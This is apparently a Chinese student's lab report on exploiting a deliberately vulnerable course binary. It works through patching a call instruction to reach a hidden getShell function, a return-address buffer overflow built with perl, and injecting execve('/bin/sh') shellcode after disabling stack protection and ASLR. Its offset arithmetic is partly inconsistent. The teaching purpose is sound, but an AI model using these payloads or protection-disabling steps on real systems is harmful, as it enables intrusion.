20242802 2024-2025-2 《网络攻防实践》实践第九周报告

20242802 2024-2025-2 《网络攻防实践》实践第九周报告

1.实践内容

本次实验主要使用pwn1 这个 Linux 可执行文件展开。该程序的主要功能是通过 main 函数调用 foo 函数,将用户输入的字符串简单回显。程序中包含一个名为 getShell 的隐藏代码片段,正常情况下不会被执行。

实验的目标是通过多种方法运行这个隐藏的代码片段,并进一步学习如何注入并运行自定义的Shellcode。主要要使用两种主要的攻击方法:

  • 第一种是手工修改可执行文件的机器指令,通过直接篡改程序的执行流程,使其跳转到 getShell 函数;
  • 第二种是利用 foo 函数中存在的缓冲区溢出(BOF)漏洞,构造一个特殊的输入字符串,覆盖函数的返回地址,从而触发 getShell 函数的执行。
  • 此外,还将尝试注入一段自己编写的 Shellcode,并确保其能够在目标程序中成功运行。

2.实践过程

2.1 实践任务一

本次实验新增要求 :

  1. 所有操作截图主机名为本人姓名拼音
  2. 所编辑的文件名包含自己的学号

实验之前先打开kali修改主机名为yyj20242802

hostname yyj20242802

把本次实验中要用到的文件改名为:pwn20242802yyj

mv pwn1 pwn20242802yyj

尝试运行该文件,只能返回一些用户输入的字符串没有看到更多的响应

对pwn文件进行反汇编处理,进一步分析

objdump -d pwn20242802yyj | more

在反编译内容中找到main主函数进行分析:main函数首先保存了栈帧,对齐了栈,然后调用了一个名为foo的函数,将返回值设置为0,然后结束栈帧并返回。实验要求手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

使用 gedit命令打开pwn文件

gedit pwn20242802yyj

发现我的kali虚拟机还没有安装gedit,所以先将gedit安装好:

下载好gedit,打开pwn文件后发现是乱码

修改文件的存储格式为16进制后再查看

xxd pwn20242802yyj > pwn20242802yyj.hex
vim pwn20242802yyj
:%!xxd

分析如何修改可执行文件:

  1. 确定跳转位置:main函数中有一个call指令,它调用了foo函数。call指令位于地址8048b5,偏移量为d7 ff ff ff。在这里把它修改为调用getShell函数
  2. 计算新的偏移量:计算从main函数中的call指令到getShell函数的偏移量。getShell函数在可执行文件中的地址为 0804847dcall指令的下一条指令地址:8048b5 + 5。所以偏移量=0804847d−(8048b5+5)=−61,在补码表示中,-61的十六进制表示为0xffffff3c。将高位放在低地址则实际存储的偏移量为0xc3ffffff
  3. 修改可执行文件:将原来的偏移量d7 ff ff ff替换为新的偏移量c3ffffff

将十六进制格式重新转换为乱码模式,保存退出

:%! xxd -r

重新反汇编查看 是否更改正确。

objdump -d pwn20242802yyj | more

运行pwn文件,获取shell成功!

2.2 实践任务二

重新解压一个pwn文件开始进行任务二

按照本次实验要求重命名为pwn20242802yyj02

mv pwn1 pwn20242802yyj02

同样也查看foo的反汇编代码

实验二,需要利用缓冲区溢出原理,覆盖 foo 函数的返回地址(EIP),使其指向 getshell 函数的地址,从而获取 shell。

首先理解 foo 函数的行为:

  • foo 函数调用了 getsputs 函数。
  • gets 用于从标准输入读取字符串。
  • puts 用于将字符串输出到标准输出

然后确定缓冲区大小:

  • 从图中可以看到,foo 函数的缓冲区大小为 0x38 字节(56 字节)。
  • 其中,0x1c 字节(28 字节)用于 gets 函数读取输入。

计算溢出长度:

  • 为了覆盖返回地址(4 字节),需要输入 28 + 4 = 32 字节的字符串。

构造输入字符串:

  • 输入字符串需要包含 28 字节的垃圾数据,用于填充缓冲区。
  • 输入字符串的最后 4 字节需要是 getshell 函数的地址(0x0804847d)。

生成输入文件:

  • 准备用于缓冲区溢出攻击的输入字符串。,并将其写入文件 input20242802
perl -e 'print "yyjyyjyyjkimseungminyyjyyjyyj20\x7d\x84\x04\x08"' > input20242802
xxd input20242802

input20242802 文件中的内容发送给 pwn20242802yyj02 程序作为输入,实现缓冲区溢出的效果,获取到shell。

(cat input20242802;cat) | ./pwn20242802yyj02

缓冲区溢出成功!

2.3 实践任务三

实验之前我的kali虚拟机没有安装execstack

sudo apt install execstack
sudo apt-get update
sudo apt-get upgrade

安装失败,尝试先在Windows系统上下载安装包execstack_0.0.20131005-1+b10_amd64.deb到本地再复制到kali虚拟机中进行安装:

sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb

利用execstack工具包将堆栈设置为可执行状态,否则程序可能会因权限不足而无法执行。

sudo execstack -s ./pwn20242802yyj02 //设置为可执行状态
sudo execstack -q ./pwn20242802yyj02 //检查是否设置成功

通过以下命令关闭地址随机化,确保注入的 shellcode 在固定地址运行,便于调试和验证。

sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space' //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //检查是否关闭地址随机化,输出0成功关闭;为1则仍然是打开状态

构造一个包含填充字节、占位符地址、NOP 滑动区域和实际 shellcode 的输入字符串,并将其保存到文件中。通过这种方式,可以在目标程序中触发缓冲区溢出漏洞,覆盖返回地址,从而执行注入的 shellcode,最终获取一个 Shell。

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

同样将input_shellcode的输入内容作为pwn20242802yyj02的输入

(cat input_shellcode; cat) | ./pwn20242802yyj02

打开一个新的终端查看pwn20242802yyj02文件地进程以及进程号

ps -ef | grep pwn20242802yyj02

使用 gdb 附加到目标程序的进程中,并且在 gdb 中反汇编 foo 函数,设置断点,继续执行程序,查看寄存器和内存内容。

gdb pwn20242802yyj02

gdb 附加到正在运行的进程( 3217),反汇编 foo 函数,查看其汇编代码了解其内部结构,包括缓冲区的大小、函数调用关系以及返回地址的位置。在地址 0x080484ae 处设置一个断点。0x080484aefoo 函数中 ret 指令的地址。设置断点后,当程序执行到 ret 指令时会暂停,此时可以查看返回地址是否被成功覆盖,以及堆栈的状态。

attach 3217
disassemble foo
break *0x080484ae

查看 esp 的值确定堆栈的当前位置,0xffffd38c 是堆栈指针 esp 的值,即堆栈的当前顶部地址。查看从该地址开始的 16 个字节的内容,确认注入的 shellcode 是否正确写入堆栈。

c
info r esp
x/16x 0xffffd38c

看到注入的 shellcode 代码,注入成功!

3.学习中遇到的问题及解决

  • 问题1:在实验一中修改可执行文件pwn后再次反汇编查看是否修改成功后遇到无法识别该文件的格式

  • 问题1解决方案:应该是将pwn文件改为十六进制再修改文件撤销十六进制格式的过程中导致文件损坏,所以重新解压出一个pwn文件重新修改再次尝试反汇编就成功了

  • 问题2:安装execstack失败

  • 问题2解决方案:怀疑是网络问题所以尝试重新DNS服务器,设置谷歌 公共DNS后仍然下载失败,所以尝试在官网中http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下载到本地,再复制到kali虚拟机安装成功!

4.实践总结

实验过程中,需要频繁地用到反汇编知识,这些内容曾在本科的计算机组成原理课程中学过,但如今却大多已经遗忘。面对复杂的机器码和汇编指令,我发现自己需要花费一些时间去回忆和重新学习那些曾经熟悉的概念。再次掌握汇编指令的含义和作用,才能试图通过反汇编工具来分析程序的执行流程。同时在手工修改可执行文件时让我认识到,即使是看似安全的程序,也可能因为对机器指令的直接篡改而变得不安全。

参考资料

posted @ 2025-05-06 20:33  Anton_buer  阅读(107)  评论(0)    收藏  举报